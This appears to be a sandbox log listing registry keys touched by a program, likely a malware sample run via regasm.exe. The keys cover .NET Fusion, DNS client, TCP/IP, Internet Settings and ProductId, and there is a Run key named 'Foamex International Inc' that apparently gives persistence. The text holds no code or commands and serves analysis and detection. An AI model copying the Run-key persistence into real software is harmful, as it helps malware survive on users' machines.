HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.8.0.Microsoft.JScript__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Microsoft.JScript,8.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Configuration.Install__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Configuration.Install,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\FinalizerActivityBypass
HKEY_LOCAL_MACHINE\Software\Microsoft\WBEM\CIMOM
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\WBEM\CIMOM\EnableObjectValidation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-1822907384-1282624486-319450072-1000\Installer\Assemblies\C:|Windows|Microsoft.net|Framework|v2.0.50727|regasm.exe.Config
HKEY_CURRENT_USER\Software\Microsoft\Installer\Assemblies\C:|Windows|Microsoft.net|Framework|v2.0.50727|regasm.exe.Config
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Assemblies\C:|Windows|Microsoft.net|Framework|v2.0.50727|regasm.exe.Config
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Data.SqlXml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Data.SqlXml,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\InstallationType
HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\EnableConsoleTracing
HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\regasm_RASAPI32
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\FileDirectory
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\Library
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\IsMultiInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\First Counter
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\CategoryOptions
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\FileMappingSize
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\Counter Names
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\DnsCache\Parameters
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\DnsClient
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\DNS
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\QueryAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\QueryAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DisableAdapterDomainName
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UseDomainNameDevolution
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseDomainNameDevolution
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\UseDomainNameDevolution
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DomainNameDevolutionLevel
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DomainNameDevolutionLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\PrioritizeRecordData
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\PrioritizeRecordData
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\PrioritizeRecordData
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AllowUnqualifiedQuery
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\AllowUnqualifiedQuery
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\AllowUnqualifiedQuery
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AppendToMultiLabelName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\AppendToMultiLabelName
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\ScreenBadTlds
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ScreenBadTlds
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\ScreenUnreachableServers
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ScreenUnreachableServers
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\ScreenDefaultServers
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ScreenDefaultServers
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DynamicServerQueryOrder
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DynamicServerQueryOrder
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\FilterClusterIp
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\FilterClusterIp
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\WaitForNameErrorOnAll
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\WaitForNameErrorOnAll
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UseEdns
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseEdns
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DnsSecureNameQueryFallback
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DnsSecureNameQueryFallback
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\EnableDAForAllNetworks
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\EnableDAForAllNetworks
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DirectAccessQueryOrder
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DirectAccessQueryOrder
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\QueryIpMatching
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\QueryIpMatching
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UseHostsFile
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseHostsFile
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AddrConfigControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\AddrConfigControl
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationEnabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationEnabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DisableDynamicUpdate
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegisterPrimaryName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegisterPrimaryName
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegisterAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegisterAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\EnableAdapterDomainNameRegistration
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegisterReverseLookup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegisterReverseLookup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DisableReverseAddressRegistrations
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegisterWanAdapters
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegisterWanAdapters
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DisableWanDynamicUpdate
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationTtl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationTtl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DefaultRegistrationTTL
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationRefreshInterval
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationRefreshInterval
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DefaultRegistrationRefreshInterval
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationMaxAddressCount
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationMaxAddressCount
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\MaxNumberOfAddressesToRegister
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UpdateSecurityLevel
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UpdateSecurityLevel
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\UpdateSecurityLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UpdateTopLevelDomainZones
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UpdateTopLevelDomainZones
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DowncaseSpnCauseApiOwnerIsTooLazy
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DowncaseSpnCauseApiOwnerIsTooLazy
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationOverwrite
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationOverwrite
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MaxCacheSize
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MaxCacheSize
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MaxCacheTtl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MaxCacheTtl
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MaxNegativeCacheTtl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MaxNegativeCacheTtl
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AdapterTimeoutLimit
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\AdapterTimeoutLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\ServerPriorityTimeLimit
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ServerPriorityTimeLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MaxCachedSockets
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MaxCachedSockets
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\EnableMulticast
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MulticastResponderFlags
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MulticastResponderFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MulticastSenderFlags
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MulticastSenderFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MulticastSenderMaxTimeout
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MulticastSenderMaxTimeout
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DnsTest
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseCompartments
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\CacheAllCompartments
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseNewRegistration
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ResolverRegistration
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ResolverRegistrationOnly
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DnsQueryTimeouts
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DnsQueryTimeouts
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DnsQuickQueryTimeouts
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DnsQuickQueryTimeouts
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\PrimaryDomainName
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\System\DNSClient
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\EnableAdapterDomainNameRegistration
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AdapterDomainName
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\QueryAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\DisableAdapterDomainName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\RegistrationEnabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\RegisterAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\RegistrationMaxAddressCount
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\MaxNumberOfAddressesToRegister
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\Domain
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\DhcpDomain
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{846EE342-7039-11DE-9D20-806E6F6E6963}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\QueryAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\DisableAdapterDomainName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\RegistrationEnabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\DisableDynamicUpdate
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\RegisterAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\EnableAdapterDomainNameRegistration
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\RegistrationMaxAddressCount
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\MaxNumberOfAddressesToRegister
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\Domain
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\DhcpDomain
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\SearchList
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\SearchList
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SQMClient\Windows
HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\CEIPEnable
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\NodeType
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\DhcpNodeType
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\ScopeId
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\DhcpScopeId
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\EnableProxy
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\EnableDns
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\ProductId
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DbgJITDebugLaunchSetting
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DbgManagedDebugger
HKEY_CURRENT_USER\Control Panel\International
HKEY_CURRENT_USER\Control Panel\International\sYearMonth
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Foamex International Inc
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3f4ee521\27d9480d
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3f4ee521\463dfcec
